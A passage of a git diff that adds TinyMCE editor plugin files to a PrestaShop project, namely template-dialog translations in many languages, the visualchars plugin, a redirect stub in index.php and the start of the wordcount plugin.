%H:%M:%S","months_long":"Janeiro,Fevereiro,Mar\u00e7o,Abril,Maio,Junho,Julho,Agosto,Setembro,Outubro,Novembro,Dezembro","months_short":"Jan,Fev,Mar,Abr,Mai,Jun,Jul,Ago,Set,Out,Nov,Dez","day_long":"Domingo,Segunda-feira,Ter\u00e7a-feira,Quarta-feira,Quinta-feira,Sexta-feira,S\u00e1bado,Domingo","day_short":"Dom,Seg,Ter,Qua,Qui,Sex,Sab,Dom"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/template/langs/ro_dlg.js b/js/tiny_mce/plugins/template/langs/ro_dlg.js new file mode 100755 index 0000000..c326651 --- /dev/null +++ b/js/tiny_mce/plugins/template/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.template_dlg',{title:"\u0218abloane",label:"\u0218ablon","desc_label":"Descriere",desc:"Insereaz\u0103 \u0219ablon",select:"Selecteaz\u0103 \u0219ablon",preview:"Previzualizare",warning:"Aten\u0163ie: Schimbarea \u0219ablonului poate provoca pierderi de date","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"Ianuarie,Februarie,Martie,Aprilie,Mai,Iunie,Iulie,August,Septembrie,Octombrie,Noiembrie,Decembrie","months_short":"Ian,Feb,Mar,Apr,Mai,Iun,Iul,Aug,Sep,Oct,Noi,Dec","day_long":"Duminic\u0103,Luni,Mar\u021bi,Miercuri,Joi,Vineri,S\u00e2mb\u0103t\u0103,Duminic\u0103","day_short":"Dum,Lun,Mar,Mie,Joi,Vin,S\u00e2m,Dum"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/template/langs/ru_dlg.js b/js/tiny_mce/plugins/template/langs/ru_dlg.js new file mode 100755 index 0000000..86d2137 --- /dev/null +++ b/js/tiny_mce/plugins/template/langs/ru_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.template_dlg',{title:"\u0428\u0430\u0431\u043b\u043e\u043d\u044b",label:"\u0428\u0430\u0431\u043b\u043e\u043d","desc_label":"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435",desc:"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d",select:"\u0412\u044b\u0431\u0435\u0440\u0438\u0442\u0435 \u0448\u0430\u0431\u043b\u043e\u043d",preview:"\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440",warning:"\u0412\u043d\u0438\u043c\u0430\u043d\u0438\u0435: \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0448\u0430\u0431\u043b\u043e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u0442\u0435\u0440\u044f\u043c \u0434\u0430\u043d\u043d\u044b\u0445/","mdate_format":"%Y.%m.%d %H:%M:%S","cdate_format":"%Y.%m.%d %H:%M:%S","months_long":"\u044f\u043d\u0432\u0430\u0440\u044c,\u0444\u0435\u0432\u0440\u0430\u043b\u044c,\u043c\u0430\u0440\u0442,\u0430\u043f\u0440\u0435\u043b\u044c,\u043c\u0430\u0439,\u0438\u044e\u043d\u044c,\u0438\u044e\u043b\u044c,\u0430\u0432\u0433\u0443\u0441\u0442,\u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c,\u043e\u043a\u0442\u044f\u0431\u0440\u044c,\u043d\u043e\u044f\u0431\u0440\u044c,\u0434\u0435\u043a\u0430\u0431\u0440\u044c","months_short":"\u044f\u043d\u0432,\u0444\u0435\u0432,\u043c\u0430\u0440\u0442,\u0430\u043f\u0440,\u043c\u0430\u0439,\u0438\u044e\u043d\u044c,\u0438\u044e\u043b\u044c,\u0430\u0432\u0433,\u0441\u0435\u043d,\u043e\u043a\u0442,\u043d\u043e\u044f,\u0434\u0435\u043a","day_long":"\u0432\u043e\u0441\u043a\u0440\u0435\u0441\u0435\u043d\u044c\u0435,\u043f\u043e\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u0438\u043a,\u0432\u0442\u043e\u0440\u043d\u0438\u043a,\u0441\u0440\u0435\u0434\u0430,\u0447\u0435\u0442\u0432\u0435\u0440\u0433,\u043f\u044f\u0442\u043d\u0438\u0446\u0443,\u0441\u0443\u0431\u0431\u043e\u0442\u0430,\u0432\u043e\u0441\u043a\u0440\u0435\u0441\u0435\u043d\u044c\u0435","day_short":"\u0432\u0441,\u043f\u043d,\u0432\u0442,\u0441\u0440,\u0447\u0442,\u043f\u0442,\u0441\u0431,\u0432\u0441"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/template/langs/sk_dlg.js b/js/tiny_mce/plugins/template/langs/sk_dlg.js new file mode 100755 index 0000000..a6ce09c --- /dev/null +++ b/js/tiny_mce/plugins/template/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.template_dlg',{title:"\u0160abl\u00f3ny",label:"\u0160abl\u00f3na","desc_label":"Popis",desc:"Vlo\u017ei\u0165 preddefinovan\u00fd obsah zo \u0161abl\u00f3ny",select:"Vyber \u0161abl\u00f3nu",preview:"N\u00e1h\u013ead",warning:"Upozornenie: Aktualiz\u00e1cia \u0161abl\u00f3ny inou, sp\u00f4sob\u00ed stratu d\u00e1t.","mdate_format":"%d.%m.%Y %H:%M:%S","cdate_format":"%d.%m.%Y %H:%M:%S","months_long":"Janu\u00e1r,Febru\u00e1r,Marec,Apr\u00edl,M\u00e1j,J\u00fan,J\u00fal,August,September,Okt\u00f3ber,November,December","months_short":"Jan,Feb,Mar,Apr,M\u00e1j,J\u00fan,J\u00fal,Aug,Sep,Okt,Nov,Dec","day_long":"Nede\u013ea,Pondelok,Utorok,Streda,\u0160tvrtok,Piatok,Sobota,Nede\u013ea","day_short":"Ne,Po,Ut,St,\u0160t,Pi,So,Ne"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/template/langs/sl_dlg.js b/js/tiny_mce/plugins/template/langs/sl_dlg.js new file mode 100755 index 0000000..8c08beb --- /dev/null +++ b/js/tiny_mce/plugins/template/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.template_dlg',{title:"Predloge",label:"Predloga","desc_label":"Opis",desc:"Vstavi pripravljeno vsebino predloge",select:"Izberite predlogo",preview:"Predogled",warning:"Opozorilo: posodabljanje predloge lahko pripelje od izgube podatkov.","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"januar,februar,marec,april,maj,junij,julij,avgust,september,oktober,november,december","months_short":"jan,feb,mar,apr,maj,jun,jul,avg,sep,okt,nov,dec","day_long":"nedelja,ponedeljek,torek,sreda,\u010detrtek,petek,sobota,nedelja","day_short":"ned,pon,tor,sre,\u010det,pet,sob,ned"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/template/langs/sv_dlg.js b/js/tiny_mce/plugins/template/langs/sv_dlg.js new file mode 100755 index 0000000..add47e8 --- /dev/null +++ b/js/tiny_mce/plugins/template/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.template_dlg',{title:"Mallar",label:"Mall","desc_label":"Beskrivning",desc:"Infoga en f\u00e4rdig mall",select:"V\u00e4lj en mall",preview:"F\u00f6rhandsgranska",warning:"Varning: Uppdaterar en mall med en ny kan inneb\u00e4ra att data f\u00f6rsvinner.","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"Januari,Februari,Mars,April,Maj,Juni,Juli,Augusti,September,Oktober,November,December","months_short":"Jan,Feb,Mar,Apr,Maj,Jun,Jul,Aug,Sep,Okt,Nov,Dec","day_long":"S\u00f6ndag,M\u00e5ndag,Tisdag,Onsdag,Torsdag,Fredag,L\u00f6rdag,S\u00f6ndag","day_short":"S\u00f6n,M\u00e5n,Tis,Ons,Tors,Fre,L\u00f6r,S\u00f6n"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/template/langs/th_dlg.js b/js/tiny_mce/plugins/template/langs/th_dlg.js new file mode 100755 index 0000000..97ce1d0 --- /dev/null +++ b/js/tiny_mce/plugins/template/langs/th_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.template_dlg',{title:"\u0e41\u0e21\u0e48\u0e41\u0e1a\u0e1a\u0e40\u0e2d\u0e01\u0e2a\u0e32\u0e23",label:"\u0e41\u0e21\u0e48\u0e41\u0e1a\u0e1a\u0e40\u0e2d\u0e01\u0e2a\u0e32\u0e23","desc_label":"\u0e23\u0e32\u0e22\u0e25\u0e30\u0e40\u0e2d\u0e35\u0e22\u0e14",desc:"\u0e40\u0e1e\u0e34\u0e48\u0e21\u0e41\u0e21\u0e48\u0e41\u0e1a\u0e1a\u0e40\u0e2d\u0e01\u0e2a\u0e32",select:"\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e41\u0e21\u0e48\u0e41\u0e1a\u0e1a\u0e40\u0e2d\u0e01\u0e2a\u0e32\u0e23",preview:"\u0e14\u0e39\u0e15\u0e31\u0e27\u0e2d\u0e22\u0e48\u0e32\u0e07",warning:"\u0e04\u0e33\u0e40\u0e15\u0e37\u0e2d\u0e19: \u0e01\u0e32\u0e23\u0e1b\u0e23\u0e31\u0e1a\u0e1b\u0e23\u0e38\u0e07\u0e41\u0e21\u0e48\u0e41\u0e1a\u0e1a\u0e40\u0e2d\u0e01\u0e2a\u0e32\u0e23\u0e17\u0e35\u0e48\u0e41\u0e15\u0e01\u0e15\u0e48\u0e32\u0e07\u0e01\u0e31\u0e19\u0e2b\u0e19\u0e36\u0e48\u0e07\u0e2d\u0e32\u0e08\u0e17\u0e33\u0e43\u0e2b\u0e49\u0e02\u0e49\u0e2d\u0e21\u0e39\u0e25\u0e2a\u0e39\u0e0d\u0e2b\u0e32\u0e22","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"\u0e21\u0e01\u0e23\u0e32\u0e04\u0e21,\u0e01\u0e38\u0e21\u0e20\u0e32\u0e1e\u0e31\u0e19\u0e18\u0e4c,\u0e21\u0e35\u0e19\u0e32\u0e04\u0e21,\u0e40\u0e21\u0e29\u0e32\u0e22\u0e19,\u0e1e\u0e24\u0e29\u0e20\u0e32\u0e04\u0e21,\u0e21\u0e34\u0e16\u0e38\u0e19\u0e32\u0e22\u0e19,\u0e01\u0e23\u0e01\u0e0e\u0e32\u0e04\u0e21,\u0e2a\u0e34\u0e07\u0e2b\u0e32\u0e04\u0e21,\u0e01\u0e31\u0e19\u0e22\u0e32\u0e22\u0e19,\u0e15\u0e38\u0e25\u0e32\u0e04\u0e21,\u0e1e\u0e24\u0e28\u0e08\u0e34\u0e01\u0e32\u0e22\u0e19,\u0e18\u0e31\u0e19\u0e27\u0e32\u0e04\u0e21","months_short":"\u0e21.\u0e04.,\u0e01.\u0e1e.,\u0e21\u0e35.\u0e04.,\u0e40\u0e21.\u0e22.,\u0e1e.\u0e04.,\u0e21\u0e34.\u0e22.,\u0e01.\u0e04.,\u0e2a.\u0e04.,\u0e01.\u0e22.,\u0e15.\u0e04.,\u0e1e.\u0e22.,\u0e18.\u0e04.","day_long":"\u0e27\u0e31\u0e19\u0e2d\u0e32\u0e17\u0e34\u0e15\u0e22\u0e4c,\u0e27\u0e31\u0e19\u0e08\u0e31\u0e19\u0e17\u0e23\u0e4c,\u0e27\u0e31\u0e19\u0e2d\u0e31\u0e07\u0e04\u0e32\u0e23,\u0e27\u0e31\u0e19\u0e1e\u0e38\u0e18,\u0e27\u0e31\u0e19\u0e1e\u0e24\u0e2b\u0e31\u0e2a\u0e1a\u0e14\u0e35,\u0e27\u0e31\u0e19\u0e28\u0e38\u0e01\u0e23\u0e4c,\u0e27\u0e31\u0e19\u0e40\u0e2a\u0e32\u0e23\u0e4c,\u0e2d\u0e32\u0e17\u0e34\u0e15\u0e22\u0e4c","day_short":"\u0e2d\u0e32,\u0e08,\u0e2d,\u0e1e,\u0e1e\u0e24,\u0e28,\u0e2a,\u0e2d\u0e32"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/template/langs/tr_dlg.js b/js/tiny_mce/plugins/template/langs/tr_dlg.js new file mode 100755 index 0000000..dfa9f2d --- /dev/null +++ b/js/tiny_mce/plugins/template/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.template_dlg',{title:"\u015eablonlar",label:"\u015eablon","desc_label":"A\u00e7\u0131klama",desc:"\u00d6ntan\u0131ml\u0131 i\u00e7erik \u015fablonu kullan",select:"\u015eablonu se\u00e7",preview:"\u00d6nizleme",warning:"Uyar\u0131: Bir \u015fablonu bir di\u011feriyle g\u00fcncellemek veri kayb\u0131na yol a\u00e7abilir.","mdate_format":"%d-%m-%Y %H:%M:%S","cdate_format":"%d-%m-%Y %H:%M:%S","months_long":"Ocak,\u015eubat,Mart,Nisan,May\u0131s,Haziran,Temmuz,A\u011fustos,Eyl\u00fcl,Ekim,Kas\u0131m,Aral\u0131k","months_short":"Oca,\u015eub,Mar,Nis,May,Haz,Tem,A\u011fu,Eyl,Eki,Kas,Ara","day_long":"Pazar,Pazartesi,Sal\u0131,\u00c7ar\u015famba,Per\u015fembe,Cuma,Cumartesi","day_short":"Paz,Pzt,Sal,\u00c7r\u015f,Per,Cum,Cts"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/template/langs/tw_dlg.js b/js/tiny_mce/plugins/template/langs/tw_dlg.js new file mode 100755 index 0000000..30b7762 --- /dev/null +++ b/js/tiny_mce/plugins/template/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.template_dlg',{title:"\u6a21\u677f\u6a19\u984c",label:"\u6a21\u677f","desc_label":"\u8aaa\u660e",desc:"\u63d2\u5165\u9810\u8a2d\u6a21\u677f",select:"\u9078\u64c7\u6a21\u677f",preview:"\u9810\u89bd",warning:"\u8b66\u544a:\u5957\u7528\u4e0d\u540c\u7684\u6a21\u677f\u6709\u53ef\u80fd\u5c0e\u81f4\u5167\u5bb9\u907a\u5931\u3002","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"\u4e00\u6708,\u4e8c\u6708,\u4e09\u6708,\u56db\u6708,\u4e94\u6708,\u516d\u6708,\u4e03\u6708,\u516b\u6708,\u4e5d\u6708,\u5341\u6708,\u5341\u4e00\u6708,\u5341\u4e8c\u6708","months_short":"1\u6708,2\u6708,3\u6708,4\u6708,5\u6708,6\u6708,7\u6708,8\u6708,9\u6708,10\u6708,11\u6708,12\u6708","day_long":"\u661f\u671f\u65e5,\u661f\u671f\u4e00,\u661f\u671f\u4e8c,\u661f\u671f\u4e09,\u661f\u671f\u56db,\u661f\u671f\u4e94,\u661f\u671f\u516d,\u661f\u671f\u65e5","day_short":"\u9031\u65e5,\u9031\u4e00,\u9031\u4e8c,\u9031\u4e09,\u9031\u56db,\u9031\u4e94,\u9031\u516d,\u9031\u65e5"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/template/langs/uk_dlg.js b/js/tiny_mce/plugins/template/langs/uk_dlg.js new file mode 100755 index 0000000..a457122 --- /dev/null +++ b/js/tiny_mce/plugins/template/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.template_dlg',{title:"\u0428\u0430\u0431\u043b\u043e\u043d\u0438",label:"\u0428\u0430\u0431\u043b\u043e\u043d","desc_label":"\u041e\u043f\u0438\u0441",desc:"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0448\u0430\u0431\u043b\u043e\u043d\u043d\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043d\u0442",select:"\u0412\u0438\u0431\u0435\u0440\u0456\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d",preview:"\u041f\u0435\u0440\u0435\u0433\u043b\u044f\u0434",warning:"\u0423\u0432\u0430\u0433\u0430: \u043e\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044f \u0448\u0430\u0431\u043b\u043e\u043d\u0430 \u043d\u0430 \u0456\u043d\u0448\u0438\u0439 \u043c\u043e\u0436\u0435 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u0434\u043e \u0432\u0442\u0440\u0430\u0442 \u0434\u0430\u043d\u0438\u0445.","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"\u0421\u0456\u0447\u0435\u043d\u044c,\u041b\u044e\u0442\u0438\u0439,\u0411\u0435\u0440\u0435\u0437\u0435\u043d\u044c,\u041a\u0432\u0456\u0442\u0435\u043d\u044c,\u0422\u0440\u0430\u0432\u0435\u043d\u044c,\u0427\u0435\u0440\u0432\u0435\u043d\u044c,\u041b\u0438\u043f\u0435\u043d\u044c,\u0421\u0435\u0440\u043f\u0435\u043d\u044c,\u0412\u0435\u0440\u0435\u0441\u0435\u043d\u044c,\u0416\u043e\u0432\u0442\u0435\u043d\u044c,\u041b\u0438\u0441\u0442\u043e\u043f\u0430\u0434,\u0413\u0440\u0443\u0434\u0435\u043d\u044c","months_short":"\u0421\u0456\u0447,\u041b\u044e\u0442,\u0411\u0435\u0440,\u041a\u0432\u0456,\u0422\u0440\u0430,\u0427\u0435\u0440,\u041b\u0438\u043f,\u0421\u0435\u0440,\u0412\u0435\u0440,\u0416\u043e\u0432,\u041b\u0438\u0441,\u0413\u0440\u0443","day_long":"\u041d\u0435\u0434\u0456\u043b\u044f,\u041f\u043e\u043d\u0435\u0434\u0456\u043b\u043e\u043a,\u0412\u0456\u0432\u0442\u043e\u0440\u043e\u043a,\u0421\u0435\u0440\u0435\u0434\u0430,\u0427\u0435\u0442\u0432\u0435\u0440,\u041f\'\u044f\u0442\u043d\u0438\u0446\u044f,\u0421\u0443\u0431\u043e\u0442\u0430,\u041d\u0435\u0434\u0456\u043b\u044f","day_short":"\u041d\u0434,\u041f\u043d,\u0412\u0442,\u0421\u0440,\u0427\u0442,\u041f\u0442,\u0421\u0431,\u041d\u0434"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/template/langs/vi_dlg.js b/js/tiny_mce/plugins/template/langs/vi_dlg.js new file mode 100755 index 0000000..1c19bec --- /dev/null +++ b/js/tiny_mce/plugins/template/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.template_dlg',{title:"M\u1eabu",label:"M\u1eabu","desc_label":"M\u00f4 t\u1ea3",desc:"Ch\u00e8n m\u1ed9t n\u1ed9i dung m\u1eabu \u0111\u1ecbnh ngh\u0129a tr\u01b0\u1edbc",select:"Ch\u1ecdn m\u1ed9t m\u1eabu",preview:"Xem tr\u01b0\u1edbc",warning:"C\u1ea3nh b\u00e1o: C\u1eadp nh\u1eadt m\u1ed9t m\u1eabu v\u1edbi m\u1ed9t s\u1ef1 sai kh\u00e1c c\u00f3 th\u1ec3 l\u00e0m m\u1ea5t d\u1eef li\u1ec7u.","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"Th\u00e1ng M\u1ed9t,Th\u00e1ng Hai,Th\u00e1ng Ba,Th\u00e1ng T\u01b0,Th\u00e1ng N\u0103m,Th\u00e1ng S\u00e1u,Th\u00e1ng B\u1ea3y,Th\u00e1ng T\u00e1m,Th\u00e1ng Ch\u00edn,Th\u00e1ng M\u01b0\u1eddi,Th\u00e1ng M\u01b0\u1eddi M\u1ed9t,Th\u00e1ng M\u01b0\u1eddi Hai","months_short":"Thg1,Thg2,Thg3,Thg4,Thg5,Thg6,Thg7,Thg8,Thg9,Th10,Th11,Th12","day_long":"Ch\u1ee7 Nh\u1eadt,Th\u1ee9 Hai,Th\u1ee9 Ba,Th\u1ee9 T\u01b0,Th\u1ee9 N\u0103m,Th\u1ee9 S\u00e1u,Th\u1ee9 B\u1ea3y,Ch\u1ee7 Nh\u1eadt","day_short":"CN,T2,T3,T4,T5,T6,T7,CN"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/template/langs/zh-cn_dlg.js b/js/tiny_mce/plugins/template/langs/zh-cn_dlg.js new file mode 100755 index 0000000..a6217b9 --- /dev/null +++ b/js/tiny_mce/plugins/template/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.template_dlg',{title:"\u6a21\u677f",label:"\u6a21\u677f","desc_label":"\u8bf4\u660e",desc:"\u63d2\u5165\u9884\u8bbe\u7684\u6a21\u677f\u5185\u5bb9",select:"\u9009\u62e9\u6a21\u677f",preview:"\u9884\u89c8",warning:"\u8b66\u544a\uff1a\u66f4\u65b0\u6a21\u677f\u53ef\u80fd\u5bfc\u81f4\u6570\u636e\u4e22\u5931\u3002","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"\u4e00\u6708,\u4e8c\u6708,\u4e09\u6708,\u56db\u6708,\u4e94\u6708,\u516d\u6708,\u4e03\u6708,\u516b\u6708,\u4e5d\u6708,\u5341\u6708,\u5341\u4e00\u6708,\u5341\u4e8c\u6708","months_short":"1\u6708,2\u6708,3\u6708,4\u6708,5\u6708,6\u6708,7\u6708,8\u6708,9\u6708,10\u6708,11\u6708,12\u6708","day_long":"\u661f\u671f\u65e5,\u661f\u671f\u4e00,\u661f\u671f\u4e8c,\u661f\u671f\u4e09,\u661f\u671f\u56db,\u661f\u671f\u4e94,\u661f\u671f\u516d,\u661f\u671f\u65e5","day_short":"\u5468\u65e5,\u5468\u4e00,\u5468\u4e8c,\u5468\u4e09,\u5468\u56db,\u5468\u4e94,\u5468\u516d,\u5468\u65e5"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/template/langs/zh-tw_dlg.js b/js/tiny_mce/plugins/template/langs/zh-tw_dlg.js new file mode 100755 index 0000000..e86dd3d --- /dev/null +++ b/js/tiny_mce/plugins/template/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.template_dlg',{title:"\u7248\u578b",label:"\u7248\u578b","desc_label":"\u8a3b\u89e3",desc:"\u5957\u7248\u7248\u578b\u7684\u5167\u5bb9",select:"\u9078\u4e00\u500b\u7248\u578b",preview:"\u9810\u89bd",warning:"\u66f4\u65b0\u7248\u578b\u53ef\u80fd\u6703\u628a\u4e4b\u524d\u7684\u8cc7\u6599\u5f04\u4e0d\u898b\u5594\uff01","mdate_format":"%Y-%m-%d %H:%M:%S","cdate_format":"%Y-%m-%d %H:%M:%S","months_long":"\u4e00\u6708,\u4e8c\u6708,\u4e09\u6708,\u56db\u6708,\u4e94\u6708,\u516d\u6708,\u4e03\u6708,\u516b\u6708,\u4e5d\u6708,\u5341\u6708,\u5341\u4e00\u6708,\u5341\u4e8c\u6708","months_short":"\u4e00\u6708,\u4e8c\u6708,\u4e09\u6708,\u56db\u6708,\u4e94\u6708,\u516d\u6708,\u4e03\u6708,\u516b\u6708,\u4e5d\u6708,\u5341\u6708,\u5341\u4e00\u6708,\u5341\u4e8c\u6708","day_long":"\u661f\u671f\u4e00,\u661f\u671f\u4e8c,\u661f\u671f\u4e09,\u661f\u671f\u56db,\u661f\u671f\u4e94,\u661f\u671f\u516d,\u661f\u671f\u65e5","day_short":"\u9031\u4e00,\u9031\u4e8c,\u9031\u4e09,\u9031\u56db,\u9031\u4e94,\u9031\u516d,\u9031\u65e5"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/template/template.htm b/js/tiny_mce/plugins/template/template.htm new file mode 100755 index 0000000..59b7cdc --- /dev/null +++ b/js/tiny_mce/plugins/template/template.htm @@ -0,0 +1,31 @@ + + + {#template_dlg.title} + + + + + +
    +
    +
    {#template_dlg.desc}
    +
    + +
    +
    +
    +
    + {#template_dlg.preview} + +
    +
    + +
    + + +
    +
    + + diff --git a/js/tiny_mce/plugins/visualchars/editor_plugin.js b/js/tiny_mce/plugins/visualchars/editor_plugin.js new file mode 100755 index 0000000..1a148e8 --- /dev/null +++ b/js/tiny_mce/plugins/visualchars/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.VisualChars",{init:function(a,b){var c=this;c.editor=a;a.addCommand("mceVisualChars",c._toggleVisualChars,c);a.addButton("visualchars",{title:"visualchars.desc",cmd:"mceVisualChars"});a.onBeforeGetContent.add(function(d,e){if(c.state&&e.format!="raw"&&!e.draft){c.state=true;c._toggleVisualChars(false)}})},getInfo:function(){return{longname:"Visual characters",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/visualchars",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_toggleVisualChars:function(m){var p=this,k=p.editor,a,g,j,n=k.getDoc(),o=k.getBody(),l,q=k.selection,e,c,f;p.state=!p.state;k.controlManager.setActive("visualchars",p.state);if(m){f=q.getBookmark()}if(p.state){a=[];tinymce.walk(o,function(b){if(b.nodeType==3&&b.nodeValue&&b.nodeValue.indexOf("\u00a0")!=-1){a.push(b)}},"childNodes");for(g=0;g$1');c=k.dom.create("div",null,l);while(node=c.lastChild){k.dom.insertAfter(node,a[g])}k.dom.remove(a[g])}}else{a=k.dom.select("span.mceItemNbsp",o);for(g=a.length-1;g>=0;g--){k.dom.remove(a[g],1)}}q.moveToBookmark(f)}});tinymce.PluginManager.add("visualchars",tinymce.plugins.VisualChars)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/visualchars/editor_plugin_src.js b/js/tiny_mce/plugins/visualchars/editor_plugin_src.js new file mode 100755 index 0000000..0e3572e --- /dev/null +++ b/js/tiny_mce/plugins/visualchars/editor_plugin_src.js @@ -0,0 +1,83 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.VisualChars', { + init : function(ed, url) { + var t = this; + + t.editor = ed; + + // Register commands + ed.addCommand('mceVisualChars', t._toggleVisualChars, t); + + // Register buttons + ed.addButton('visualchars', {title : 'visualchars.desc', cmd : 'mceVisualChars'}); + + ed.onBeforeGetContent.add(function(ed, o) { + if (t.state && o.format != 'raw' && !o.draft) { + t.state = true; + t._toggleVisualChars(false); + } + }); + }, + + getInfo : function() { + return { + longname : 'Visual characters', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/visualchars', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + }, + + // Private methods + + _toggleVisualChars : function(bookmark) { + var t = this, ed = t.editor, nl, i, h, d = ed.getDoc(), b = ed.getBody(), nv, s = ed.selection, bo, div, bm; + + t.state = !t.state; + ed.controlManager.setActive('visualchars', t.state); + + if (bookmark) + bm = s.getBookmark(); + + if (t.state) { + nl = []; + tinymce.walk(b, function(n) { + if (n.nodeType == 3 && n.nodeValue && n.nodeValue.indexOf('\u00a0') != -1) + nl.push(n); + }, 'childNodes'); + + for (i = 0; i < nl.length; i++) { + nv = nl[i].nodeValue; + nv = nv.replace(/(\u00a0)/g, '$1'); + + div = ed.dom.create('div', null, nv); + while (node = div.lastChild) + ed.dom.insertAfter(node, nl[i]); + + ed.dom.remove(nl[i]); + } + } else { + nl = ed.dom.select('span.mceItemNbsp', b); + + for (i = nl.length - 1; i >= 0; i--) + ed.dom.remove(nl[i], 1); + } + + s.moveToBookmark(bm); + } + }); + + // Register plugin + tinymce.PluginManager.add('visualchars', tinymce.plugins.VisualChars); +})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/visualchars/index.php b/js/tiny_mce/plugins/visualchars/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/visualchars/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/wordcount/editor_plugin.js b/js/tiny_mce/plugins/wordcount/editor_plugin.js new file mode 100755 index 0000000..42ece20 --- /dev/null +++ b/js/tiny_mce/plugins/wordcount/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.WordCount",{block:0,id:null,countre:null,cleanre:null,init:function(c,d){var e=this,f=0,g=tinymce.VK;e.countre=c.getParam("wordcount_countregex",/[\w\u2019\'-]+/g);e.cleanre=c.getParam("wordcount_cleanregex",/[0-9.(),;:!?%#$?\'\"_+=\\\/-]*/g);e.update_rate=c.getParam("wordcount_update_rate",2000);e.update_on_delete=c.getParam("wordcount_update_on_delete",false);e.id=c.id+"-word-count";c.onPostRender.add(function(i,h){var j,k;k=i.getParam("wordcount_target_id");if(!k){j=tinymce.DOM.get(i.id+"_path_row");if(j){tinymce.DOM.add(j.parentNode,"div",{style:"float: right"},i.getLang("wordcount.words","Words: ")+'0')}}else{tinymce.DOM.add(k,"span",{},'0')}});c.onInit.add(function(h){h.selection.onSetContent.add(function(){e._count(h)});e._count(h)});c.onSetContent.add(function(h){e._count(h)});function b(h){return h!==f&&(h===g.ENTER||f===g.SPACEBAR||a(f))}function a(h){return h===g.DELETE||h===g.BACKSPACE}c.onKeyUp.add(function(h,i){if(b(i.keyCode)||e.update_on_delete&&a(i.keyCode)){e._count(h)}f=i.keyCode})},_getCount:function(c){var 